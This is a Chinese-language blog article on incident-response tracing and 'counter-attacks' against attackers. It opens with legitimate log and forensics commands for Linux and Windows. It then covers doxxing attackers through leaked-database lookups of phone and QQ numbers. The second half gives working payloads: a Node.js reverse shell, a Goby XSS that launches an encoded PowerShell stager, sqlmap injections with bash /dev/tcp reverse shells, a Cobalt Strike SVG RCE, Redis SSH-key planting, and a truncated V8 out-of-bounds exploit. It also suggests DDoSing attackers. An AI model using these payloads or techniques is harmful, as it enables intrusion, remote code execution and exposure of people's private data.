红队系列-溯源应急反制专题

在这里插入图片描述

溯源应急反制专题

  • 攻击画像大概模型
  • 在线社会工程学溯源应用
  • 一、攻击后溯源
    • 受害机信息收集 确认入侵点
      • windows
        • webshell
        • 日志相关
          • linux 日志系统
          • web日志
        • 账号用户相关
          • linux
          • windows隐藏的账户-影子用户
        • 网络连接
        • 执行过的进程/命令
          • linux
          • windows
        • RDP 远程连接日志 / SSH 登录日志
          • Windows远程桌面暴力破解痕迹日志
        • 启动项
          • linux 启动项
        • 计划任务
          • linux 定时任务
    • 拿到攻击ip
      • IP定位
      • 关联域名溯源
      • Whois
    • 手机号/QQ
    • 社交ID
      • 百度网盘溯源
    • 在线威胁情报分析木马/挖矿样本
  • 二、攻击中反制 (蓝队)
    • 主要关注
    • 钓鱼攻击行为
      • 反制
    • JAVA远程代码执行漏洞
    • 红队常用工具反制
    • 蚁剑反制
      • 修改攻击者的木马
      • RCE 漏洞反弹 shell
    • goby 反制
      • 制作弹窗 XSS 页面
      • 修改 PHP 代码
    • dnslog 反制
      • 反制方式
    • Cobaltstrike 元数据伪造实现的rce 反制
    • sqlmap反制
      • url参数
      • 反弹shell
      • POST反弹shell
      • --os-shell
    • awvs 10
    • Metasploit 反序列化漏洞
    • webRTC 获取真实的ip
    • Redis 6379 未授权
    • appscan chrome漏洞 反制 上线CS
    • burpsuite 反制 上线CS

红队系列-溯源应急反制专题_第1张图片

红队系列-溯源应急反制专题_第2张图片

攻击画像大概模型

姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明:
人物照片:
跳板机(可选):
关联攻击事件:

在线社会工程学溯源应用

  • 域名信息
    信息溯源 —>
    联系人
    邮箱----> 反查

  • 客服
    忘记
    被劫持
    自身原因 找回

  • 邀请码
    商户QQ信息

  • 搜索引擎 关键词 历史遗留
    照片 图片 属性-----> 隐私泄露
    设备 经纬度GPS

  • 百度地图API
    位置查询

  • 社会共程序+心理学+语言周转
    获取信任
    加聊天方式 —> 支付
    朋友圈

  • 社区 朋友圈
    关注

  • 支付宝
    搜索邮箱---->qq号
    真实姓名

  • 改号软件
    归属地 改变

一、攻击后溯源

https://mp.weixin.qq.com/s/HRgmEUppDzOrfUUSqq35HQ
D盾、木马文件、访问日志、防火墙日志、态势感知日志

命令执行历史与其他相关日志文件。
https://mp.weixin.qq.com/s/KdQOWGzZ60BI2nypWFCoGQ

受害机信息收集 确认入侵点

windows

https://mp.weixin.qq.com/s/YQeAk18ZLFj-CemRAiixTg
可执行文件内存取证溯源工具

webshell

https://zhuanlan.zhihu.com/p/625481043?utm_id=0
红队系列-溯源应急反制专题_第3张图片

日志相关
linux 日志系统

日志默认存放位置:/var/log/

more /etc/rsyslog.conf 命令是在 Linux 系统下查看 rsyslog 配置文件的命令。
rsyslog 是一个高性能的系统日志服务,该服务可以收集、处理和转发系统日志消息。

/etc/rsyslog.conf 是 rsyslog 的主配置文件,它包含了 rsyslog 的设置和规则。
在通过 more /etc/rsyslog.conf 查看该文件时,可以查看并编辑 rsyslog 的配置选项,
例如设置日志要写入哪个目录、定义日志的格式等。
同时,也可以查看 rsyslog 的规则,根据这些规则定义不同的日志传输和存储方式,
比如将指定的日志消息发送到远程服务器、将日志写入数据库等。


/var/log/cron

记录了系统定时任务相关的日志

/var/log/cups

记录打印信息的日志

/var/log/dmesg

记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息

/var/log/mailog

记录邮件信息

/var/log/message

记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件

/var/log/btmp

记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看

/var/log/lastlog

记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看

/var/log/wtmp

永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看

/var/log/utmp

记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询

/var/log/secure

记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中




 
#集诊断、调试、统计一体的工具。`strace -f -p pid` 查看进行的行为
Strace

#Linux工具,如果系统命令被替换了可以使用此命令来查看系统相关信息。
busybox
web日志

快速找到 Apache 的位置,可以使用以下命令:

which apache2

在系统 PATH 变量指定的路径中查找 “apache2”/ “httpd” 可执行文件,并返回找到的路径。

find / -name "apache2"

该命令会在根目录下搜索名为 “apache2” 的文件或目录,并返回所有找到的路径。这条命令会搜索整个文件系统,时间可能会比较长,但能够确保找到 Apache 的位置。

apache access.log、error.log

xx.xx.xx.xx - - [14/Dec/2020:14:26:37 +0800] "POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1" 200 28

xx.xx.xx.xx - - [14/Dec/2020:14:26:46 +0800] "POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1" 302 8637

xx.xx.xx.xx - - [14/Dec/2020:14:26:51 +0800] "GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1" 200 3497
账号用户相关
linux

https://mp.weixin.qq.com/s/01aNmBVmMpRRmPOgkUIBKg


查询su切换用户记录
#sudo -l

Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user tes


#查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
root

#查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
root:$1$VJkWOIro$gRi9wy.FrsUE/W5oc3vVS.:18644:0:99999:7:::
xxxxx:$1$VJkWOIro$gRi9wy.FrsUE/W5oc3vVS.:18644:0:99999:7:::

#查看当前登录用户及其登陆方式(tty 本地登录或 pts 远程登录) /var/log/utmp
w/
who
 该命令会显示当前活动用户的用户名、终端和登录时间等信息。
 在终端一栏中,如果是以 tty 的形式显示,则表示本地登录
如果是以 pts/X 的形式显示,则表示远程登录。



#成功登录和注销 关机、重启等的信息,可以使用以下命令查看:
last 
 /var/log/utmp 文件存储
 

该命令会显示最近登录用户的用户名、登录时间、终端和登录方式等信息。
在终端一栏中,如果是以 ttyX 的形式显示,则表示本地登录;
如果是以 :X 或 :X.Y 的形式显示,则表示远程登录。 

需要注意的是,/var/log/utmp 文件只记录已经注销的用户信息,显示的结果可能不是实时的。


#查看登陆失败的用户日志 /var/log/btmp
lastb

#查看所有用户登陆日志 /var/log/lastlog
lastlog






检查在 /var/log/secure 文件中记录的 SSH 登录日志
定位攻击者的 IP 地址和尝试登录的用户名。
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
查找所有尝试使用 root 用户名登录但登录失败的 IP 地址,
按照每个 IP 地址的出现次数进行排序,
并使用 more 命令以分页方式显示结果。

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
#检查登录失败的 IP 地址,并使用 uniq 命令计算每个 IP 地址的出现次数进行排序。

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
#检查登录失败的用户名并计算出现次数,其中使用了正则表达式从日志消息中提取尝试登录的用户名。

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#查询登录成功的IP

#登录成功的日期、用户名、IP:
#grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 
#grep "useradd" /var/log/secure 

Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali

#查询增加用户日志

# grep "userdel" /var/log/secure
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'

#查询删除用户日志

last  
/var/log/wtmp
wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ?? 

wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec  17 09:56 ? still logged in ?? 

wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec  17 09:32 - 10:44 ?(01:12) ? ? 

root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec  17 09:30 - 10:20 ?(00:50) ? ? 

root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec  17 09:30 - 10:20 ?(00:50) ?
windows隐藏的账户-影子用户

https://mp.weixin.qq.com/s/Pg5FBm0xf3LqiAUegmW1GQ
Windows 2003上面是很难发现和清除,在Windows 2008以上的影子账户只能在注册表中看到

net user ss$ 123.com /add
使用net user ss$ /del命令删除ss$用户

红队系列-溯源应急反制专题_第4张图片
regedit打开注册表
若打不开则需要设置权限,默认情况下SAM文件夹只有SYSTEM具有完全控制权限

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/

红队系列-溯源应急反制专题_第5张图片
影子账户所做操作,Administrator都可以看见。

https://mp.weixin.qq.com/s/TgDvzIGVO8iETtth7D4g0A
服务、 注册表等本地排查

网络连接

很快能锁定 外连 ip

windows

netstat -n | findstr ESTABLISHED | findstr : 端口号

netstat -nab  

linux




#查看谁在使用某个端口
lsof -i :5001

#查看内部对外的网络连接
lsof -nPi

#查看当前系统上运行的所有进程
ps -ef

#查看进程
ps aux | grep pid

netstat -nputa | grep ESTABLISHED

#可以直接看到进程实时情况
top

#查看cpu占用率前十的进程,互补top
ps aux --sort=pcpu | head -10


只想查看外部计算机与本地计算机之间的连接,可以使用以下命令:

 
netstat -nputa | grep ESTABLISHED | grep -v 127.0.0.1
 

只想查看 TCP 连接,可以在命令末尾添加 `-t` 参数:


netstat -nputa | grep ESTABLISHED | grep -v 127.0.0.1 -t


只想查看 UDP 连接,可以在命令末尾添加 `-u` 


sudo lsof -p [pid] | grep IPv4

红队系列-溯源应急反制专题_第6张图片

执行过的进程/命令

https://mp.weixin.qq.com/s/xW2u4s8xCTnLCkpDoK5Yzw
WMIC查看进程执行时的命令行参数
wmic process where name=“powershell.exe” get caption,commandline,processid,parentprocessid /value

linux

history

windows
获取正在运行的进程的相关信息

process: 表示要查询的进程。

where: 用于过滤符合特定条件的进程,这里的条件是进程名为 "powershell.exe"。

name: 表示查询进程的名称。 /  processid: 也可以用进程id查询关联关系  eg:parentprocesid

get: 用于获取指定列出现的信息,可同时获取多个列,这里要获取的信息包括进程名称、命令行、进程 ID 和父进程 ID。

caption: 表示返回进程的名称。

commandline: 表示返回进程的命令行。

processid: 表示返回进程的进程 ID。

parentprocessid: 表示返回进程的父进程 ID。

这条命令的作用是输出正在运行的进程名称、进程ID、父进程ID等信息,并以键值对的形式输出,方便管理员或用户查看和管理正在运行的进程。

红队系列-溯源应急反制专题_第7张图片
火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的
红队系列-溯源应急反制专题_第8张图片
存在守护进程/子进程,需要结束进程树才能彻底根除
挖矿程序
name: 表示查询进程的名称。 / processid: 也可以用进程id查询关联关系 eg:parentprocesid
火绒剑查看进程,最下面PowerShell进程是PID为3652的PowerShell的子进程
PID为1972的scvhost.exe是所有挖矿程序的父进程
红队系列-溯源应急反制专题_第9张图片
红队系列-溯源应急反制专题_第10张图片

RDP 远程连接日志 / SSH 登录日志
Windows远程桌面暴力破解痕迹日志

查询ID == 4625审核失败的日志

时间的排查、源IP、类型与请求的频率进行分析来判断是否是来源于内网的暴力破解,
通过对logontype的数值确认就可以确认到底是通过什么协议进行暴力破解成功的。相对的数值关系:

local WINDOWS_RDP_INTERACTIVE =2”
local WINDOWS_RDP_UNLOCK =7”
local WINDOWS_RDP_REMOTEINTERACTIVE =10”
local WINDOWS_SMB_NETWORK =3

红队系列-溯源应急反制专题_第11张图片
管理员可以使用以下命令:

wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='10']]"

这个命令将查询安全事件日志,过滤出所有 Event ID 为 4624(登录成功)且 Logon Type 为 10(远程交互登录)的事件,并以文本格式显示它们。这些事件就是 RDP 登录事件。

如果要将结果输出到文件,可以将命令重定向到文件中,例如:

wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='10']]" >C:\Users\amingMM\Desktop\rdp_logins.txt

Logon Type 为 7(本地登录)或 10(远程交互登录)的事件

wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType'] and (Data=10 or Data=7)]]" > C:\Users\amingMM\Desktop\rdp_logins.txt

这样,查询结果就将保存到名为 rdp_logins.txt 的文件中。
红队系列-溯源应急反制专题_第12张图片

启动项

红队系列-溯源应急反制专题_第13张图片

Get-WinEvent -FilterHashtable @{Logname='System'; ID='1074'} | Select-Object -Property TimeCreated,Message

红队系列-溯源应急反制专题_第14张图片

linux 启动项

0

关机

1

单用户模式,主要用于系统修复

2

不完全的命令行模式,不含NFS服务

3

完全的命令行模式,标准字符界面

4

系统保留

5

图形模式

6

重启动

#开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d

只要将脚本放到/etc/rc.d目录下,再创建软连接ls -s /etc/rc.d/rc*.d就可以完成自启动项设置

#检查启动项文件脚本
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/ 

计划任务

Autoruns 查看
红队系列-溯源应急反制专题_第15张图片

查看 Windows 系统中的所有计划任务:

schtasks /query /FO LIST /v

schtasks 命令行工具,该工具可用于管理计划任务。
/query 参数用于查询计划任务,
/FO LIST 参数用于以列表形式显示查询结果,
/v 参数用于显示详细信息,
包括每个计划任务的名称、路径、描述、状态、最后一次运行时间、下一次运行时间等等。

该命令执行后将在命令行终端中输出所有计划任务的详细信息。如果您希望将结果导出到文本文件中,可以使用以下命令:

schtasks /query /FO LIST /v > tasks.txt

该命令将将查询结果保存到名为 tasks.txt 的文本文件中

linux 定时任务

#排查以下文件
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

#查看目录下所有文件
more /etc/cron.daily/*

拿到攻击ip

中间件的日志
防火墙或态势感知、防火墙中攻击行为 IP 地址

https://mp.weixin.qq.com/s/68IRzEl66XRLhD7-0gVCPA
如果被标记为住宅用户或家庭宽带,代表攻击者连着家用宽带网络攻击。这两种情况都没有溯源下去的必要 。
红队系列-溯源应急反制专题_第16张图片
如果IP被标记为IDC服务器、企业出口、企业专线,此时便可对其展开下一步溯源。
红队系列-溯源应急反制专题_第17张图片

IP定位

https://www.opengps.cn/Data/IP/ipplus.aspx
https://chaipip.com/
红队系列-溯源应急反制专题_第18张图片

https://www.ipplus360.com/
微步 傀儡机 标记

IP为企业专线、但IP又无绑定过域名。
此时可以在CNNIC查询该IP有过备案,再加上地理位置溯源就能为你提供进一步的证据支撑。


CNNIC网址:
https://ipwhois.cnnic.cn

查询到运营商划分给目标单位的网段、目标单位的中文拼音缩写等信息。
红队系列-溯源应急反制专题_第19张图片

关联域名溯源

微步威胁情报库 IP标签,
云服务器,大概率备案域名
博客地址
备案公司 姓名 获取手机号 、备案查询、天眼查、fofa 查询
攻击者基本上都是使用免实名制的域名
红队系列-溯源应急反制专题_第20张图片

Whois

https://whois.chinaz.com/
红队系列-溯源应急反制专题_第21张图片

手机号/QQ

网站 微信号、QQ
QQ 号社*库中反查 手机号
eg:
https://zy.xywlapi.cc/
红队系列-溯源应急反制专题_第22张图片

支付宝、微信、微博等等,通过这些方式,获取个人照

https://www.reg007.com/
你注册过哪些网站

社交ID

习惯性的各大网站都会使用同一个 ID
拿着 ID 去圈子里面问问
百度搜索、谷歌搜索、src搜索、微博搜索、微信ID搜索、豆瓣、贴吧、知乎等等。

百度搜索


https://tieba.baidu.com/home/main/?un=XXX

百度网盘溯源

百度网盘的添加好友功能,可以反查到百度账号用户名。可以用于验证找回密码功能中得到的带星手机号
红队系列-溯源应急反制专题_第23张图片

在线威胁情报分析木马/挖矿样本

微步云沙箱获取到木马的 IP 地址
https://x.threatbook.cn/ 微步在线威胁情报社区
https://ti.qianxin.com/ 奇安信威胁情报中心
https://ti.360.cn/ 360威胁情报中心
https://www.venuseye.com.cn/ VenusEye威胁情报中心

微步在线云沙箱:https://s.threatbook.cn/
腾讯哈勃:https://habo.qq.com/
Virustotal:https://www.virustotal.com/gui/home/upload
火眼:https://fireeye.ijinshan.com
魔盾安全分析:https://www.maldun.com/analysis/
安恒云沙箱
红队系列-溯源应急反制专题_第24张图片

Cmd1.bat	安装Networkss恶意服务,自启动start.cmd脚本,并将nat目录下所有文件权限修改为只读的隐藏系统文件。

start.cmd	启动挖矿主程序,访问矿池地址

svchost.exe	将自定义服务封装为系统服务

Systems.exe	挖矿主程序
certrutil -hashfile 文件路径/名称.exe MD5  算MD5值

二、攻击中反制 (蓝队)

攻击者暂未停止对其攻击,还处于攻击的阶段
准确的定位到被攻击的服务器、主机、人
及时的登陆涉事主机上排查,例如依靠态势感知、服务器、蜜罐等设备获取到出现异常的主机 IP。

主要关注

中间件日志、网络连接、进程、代理日志
受害者 IP、跳板机 IP、木马文件等。

金融实战多重防御
https://mp.weixin.qq.com/s/mQo36_BjyM10ObMfcvpFig

钓鱼攻击行为

https://mp.weixin.qq.com/s/np7EPo_QVI8G8EbLLP9lHg

邮件头信息
红队系列-溯源应急反制专题_第25张图片红队系列-溯源应急反制专题_第26张图片

邮件沙箱告警
exe提取出线程注入的shellcode为后门文件
对攻击IP展开画像
检测到域名
确认为境外商业窃密攻击者。

反制

附件进行逆向分析 查看源码等方式获取到 IP 地址,对 IP 地址进行渗透攻击
直接对其进行 DDOS 攻击

JAVA远程代码执行漏洞

蜜罐系统捕获
攻击者的网名信息
攻击者的博客地址
创建的一个域名 QQ号
域名反查信息真实姓名
QQ号关联信息查询获取到了其手机号
完整的用户画像

红队常用工具反制

蚁剑反制

蚁剑 <=2.0.7
AntSword2.7.1 版本上修复
AntSword 连接 WebShell 失败时对 html 代码的解析,导致 xss 漏洞

html 代码不在浏览器解析而是在服务器上解析的话需要用到 nodejs,

AntSword 使用了 nodejs,

利用 xss 漏洞执行并调用 nodejs 的库反弹 shell 拿到权限。

下载地址:
蚁剑:https://github.com/AntSwordProject/antSword/archive/refs/tags/2.0.7.zip
加载器:https://github.com/AntSwordProject/AntSword-Loader/archive/refs/tags/2.0.1.zip

修改攻击者的木马

将木马中的内容修改成弹窗木马,
修改后,攻击者再次连接木马后就会出现弹出“250”的窗口。到这里就可以证明是存在 xss 漏洞的。

<?php header("HTTP/1.1 500 ") ?>

红队系列-溯源应急反制专题_第27张图片

RCE 漏洞反弹 shell

蚁剑的 RCE 漏洞反弹 shell 获取攻击者的主机
使用 nc 监听 2200 端口,等待反弹 shell。

修改木马中的代码,修改为反弹 shell 的代码,利用 nodejs 库反弹 shell 的代码(payload):

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(2200, "192.168.10.10", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

通过创建 Socket 来连接 192.168.10.30(被攻击的电脑 ip) 的 2200 端口(Netcat 监听的端口)

将以上代码进行 base64 加密
替换掉我们前边写的 alert(250)代码,最终写到 shell.php 中的代码

<?PHP
 header("HTTP/1.1 500 Not \");
 ?>

红队系列-溯源应急反制专题_第28张图片

goby 反制

制作弹窗 XSS 页面

扫描结束后,去资产中点击 IP 地址,就会出现弹窗

<?php
 header("X-Powered-By: PHP/");
?>

红队系列-溯源应急反制专题_第29张图片

修改 PHP 代码

同时在创建一个 1.js 的代码

php代码:
<?php
 header("X-Powered-By: PHP/");
?>

js代码:
(function(){
require('child_process').exec('calc.exe');
})();


上线代码(CS 的 powershell):

(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();

红队系列-溯源应急反制专题_第30张图片

dnslog 反制

无回显
结合 dnslog 的方式,回显带回

ping xx.dnslog.com
load_file(CONCAT('\\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))

没有告警
安全设备的日志dnslog 地址的
中间件日志关键字

反制方式

PING 服务的网站。
攻击者的 dnslog 平台地址做为 ping 的目标地址,执行 ping 操作。
如果攻击这用的是网络上找到 dnslog 平台,大多情况下 ping 出的地址都是 127.0.0.1,
如果是自己搭建的 dnslog 平台,设置不规范的情况下会显示 vps 的 IP。

Cobaltstrike 元数据伪造实现的rce 反制

cs 3.5
https://forum.butian.net/share/1975
POC
https://github.com/its-arun
使用的类是org.apache.batik.swing.JSVGCanvas这个类,这个类继承Component,并且存在无参构造方法,其URI属性,即setURI是利用点

<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.129.1:8081/evil.svg'></param></object>

sqlmap反制

url参数

https://mp.weixin.qq.com/s/_gtWlsY7RDzfPBGIJH2_yw
构造payload方式:


sqlmap -u "http://192.168.43.33/test.html?id=aaa&b=\`ls`\"

红队系列-溯源应急反制专题_第31张图片

反弹shell

https://mp.weixin.qq.com/s/nn92v_5y_D6w0brJ41X4EA

linux下反弹shell语句如下:

bash -c 'exec bash -i &>/dev/tcp/ip/端口 <&1'

所以可以运用到sqlmap中

sqlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`"

在这里插入图片描述

POST反弹shell

危险参数嵌入到post data

<html>
<head>
    <meta charset="utf-8">  
    <title> A sqlmap honeypot demo</title>
</head>
<body>
  <input>search the user</input>   <!--创建一个空白表单-->
 
  <form action="username.html" method="post" enctype="text/plain">
    
    <!--创建一个隐藏的表单-->
    <input type='hidden' name='name' value="Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=6379"/>  
    <!--创建一个按钮,提交表单内容-->
    <input type="submit" value='提交'>
 
  </form>
 
</body>
</html>
sqlmap -u http://192.168.80.152/sqlmap_honey/ --data="
name=Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=63794"

sqlmap -r这种方式进行post注入会成功吗?

并不行,
当sqlmap -u xxx以这种方式进行测试的时候实际上是在shell中执行bash命令。所以其他方式都不能够进行反制。

–os-shell

https://mp.weixin.qq.com/s/Eh_HFzmPPimC1q_QFFfK2A

解密sqlmap内置的backdoor后门文件

awvs 10

https://mp.weixin.qq.com/s/WhuB1Ja4WfT48JM4TtpeIg
直接利用exp,等待对方扫描自己,即刻上线。
exp下载地址:https://github.com/dzonerzy/acunetix_0day
也可以利用CSRF漏洞去反击。

Metasploit 反序列化漏洞

v=Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
msf中直接有利用脚本,路径为exploit/multi/http/metasploit_static_secret_key_base。
可以在shodan上直接搜索互联网侧的msf:title:“metasploit is initializing”

webRTC 获取真实的ip

<script>function getIPs(callback){    var ip_dups = {};    //compatibility for firefox and chrome    var RTCPeerConnection = window.RTCPeerConnection        || window.mozRTCPeerConnection        || window.webkitRTCPeerConnection;    var mediaConstraints = {        optional: [{RtpDataChannels: true}]    };    //firefox already has a default stun server in about:config    //    media.peerconnection.default_iceservers =    //    [{"url": "stun:stun.services.mozilla.com"}]    var servers = undefined;    //add same stun server for chrome    if(window.webkitRTCPeerConnection)        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};    //construct a new RTCPeerConnection    var pc = new RTCPeerConnection(servers, mediaConstraints);    //listen for candidate events    pc.onicecandidate = function(ice){        //skip non-candidate events        if(ice.candidate){            //match just the IP address            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];            //remove duplicates            if(ip_dups[ip_addr] === undefined)                callback(ip_addr);            ip_dups[ip_addr] = true;        }    };    //create a bogus data channel    pc.createDataChannel("");    //create an offer sdp    pc.createOffer(function(result){        //trigger the stun server request        pc.setLocalDescription(result, function(){});    }, function(){});}//Test: Print the IP addresses into the consolegetIPs(function(ip){console.log(ip);});

Redis 6379 未授权

1> redis直接写入webshell,但是需要绝对路径,写入权限也要有

 
2> 写入ssh公钥文件使用私钥登录  ssh服务开启
本地生成公私钥文件 
ssh-keygen -t rsa

将密钥上传到目标主机redis 
cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit 
redis-cli -h xx.xx.xx.xx 
config set dir /root/.ssh/ 
config get dir/

保存为authorized_keys  
config set dbfilename "authorized_keys" 
save 

3> 写入crontab计划任务反弹shell

4> 主从复制rce

appscan chrome漏洞 反制 上线CS

appscan 默认使用的32位的chrome内核进行爬虫
https://mp.weixin.qq.com/s/vDLGmdWZANv-43AmisD4Ng

红队系列-溯源应急反制专题_第32张图片

在网站中引用这个文件js,即可 index.html

<script src = "chrome.js"></script>

burpsuite 反制 上线CS

受多个chrome 1day的影响,burpsuit受影响版本

2021.8.3的版本

Burp Suite的反制原理是利用低版本的chrome浏览器漏洞来触发命令执行
https://mp.weixin.qq.com/s/NplzkP7-AIzn4529p1Oteg

触发条件:


Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞 

2: Response -> Render及Repeater -> Render 功能进行渲染的时候会触发

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,
该版本的Chromium存在多个Nday漏洞的影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

使之利用成功
JavaScript动态分析功能会调用chromium浏览器对页面进行XSS扫描,从而触发页面中的HTML渲染、JavaScript执行,

触发v8漏洞执行shellcode。进程分析得知burpsuit进行渲染时调用chromium浏览器,
Chromium附带 --no-sandbox参数,该参数关闭了沙盒 

如果要在之后的burpsuit版本中RCE首先需要做的就是沙盒逃逸,CVE-2021-30633就可以做到。



这个漏洞没有公开的CVE ID,但是在这里可以找到
https://bugs.chromium.org/p/chromium/issues/detail?id=880207


<html>

<head></head>

</body>

<script>

function pwn() {

    var f64Arr = new Float64Array(1);

    var u32Arr = new Uint32Array(f64Arr.buffer);

    function f2u(f) {

        f64Arr[0] = f;

        return u32Arr;

    }

    function u2f(h, l)
{

        u32Arr[0] = l;

        u32Arr[1] = h;

        return f64Arr[0];

    }

    function hex(i) {

        return "0x" + i.toString(16).padStart(8, "0");

    }

    function log(str) {

        console.log(str);

        document.body.innerText += str + '\n';

    }

    var big_arr = [1.1, 1.2];

    var ab = new ArrayBuffer(0x233);

    var data_view = new DataView(ab);

    function opt_me(x) {

        var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];

        big_arr = [1.1, 1.2];

        ab = new ArrayBuffer(0x233);

        data_view = new DataView(ab);

        let obj = {

            a: -0

        };

        let idx = Object.is(Math.expm1(x), obj.a) * 10;

        var tmp = f2u(oob_arr[idx])[0];

        oob_arr[idx] = u2f(0x234, tmp);

    }

    for (let a = 0; a < 0x1000; a++)

        opt_me(0);

    opt_me(-0);

    var optObj = {

        flag: 0x266,

        funcAddr: opt_me

    };

    log("[+] big_arr.length: " + big_arr.length);

    if (big_arr.length != 282) {

        log("[-] Can not modify big_arr length !");

        return;

    }

    var backing_store_idx = -1;

    var backing_store_in_hign_mem = false;

    var OptObj_idx = -1;

    var OptObj_idx_in_hign_mem = false;

    for (let a = 0; a < 0x100; a++) {

        if (backing_store_idx == -1) {

            if (f2u(big_arr[a])[0] == 0x466) {

                backing_store_in_hign_mem = true;

                backing_store_idx = a;

            } else if (f2u(big_arr[a])[1] == 0x466) {

                backing_store_in_hign_mem = false;

                backing_store_idx = a + 1;

            }

        }

        else if (OptObj_idx == -1) {

            if (f2u(big_arr[a])[0] == 0x4cc) {

                OptObj_idx_in_hign_mem = true;

                OptObj_idx = a;

            } else if (f2u(big_arr[a])[1] == 0x4cc) {

                OptObj_idx_in_hign_mem = false;

                OptObj_idx = a + 1;

            }

        }

    }

    if (backing_store_idx == -1) {

        log("[-] Can not find backing store !");

        return;

    } else

        log("[+] backing store idx: " + backing_store_idx +

            ", in " + (backing_store_in_hign_mem ? "high" : "low") + 
" place.");

    if (OptObj_idx == -1) {

        log("[-] Can not find Opt Obj !");

        return;

    } else

        log("[+] OptObj idx: " + OptObj_idx +

            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " 
place.");

    var backing_store = (backing_store_in_hign_mem ?

        f2u(big_arr[backing_store_idx])[1] :

        f2u(big_arr[backing_store_idx])[0]);

    log("[+] Origin backing store: " + hex(backing_store));

    var dataNearBS = (!backing_store_in_hign_mem ?

        f2u(big_arr[backing_store_idx])[1] :

        f2u(big_arr[backing_store_idx])[0]);

    function read(addr) {

        if (backing_store_in_hign_mem)

            big_arr[backing_store_idx] = u2f(addr, dataNearBS);

        else

            big_arr[backing_store_idx] = u2f(dataNearBS, addr);

        return data_view.getInt32(0, true);

    }

    function write(addr, msg) {

        if (backing_store_in_hign_mem)

            big_arr[backing_store_idx] = u2f(addr, dataNearBS);

        else

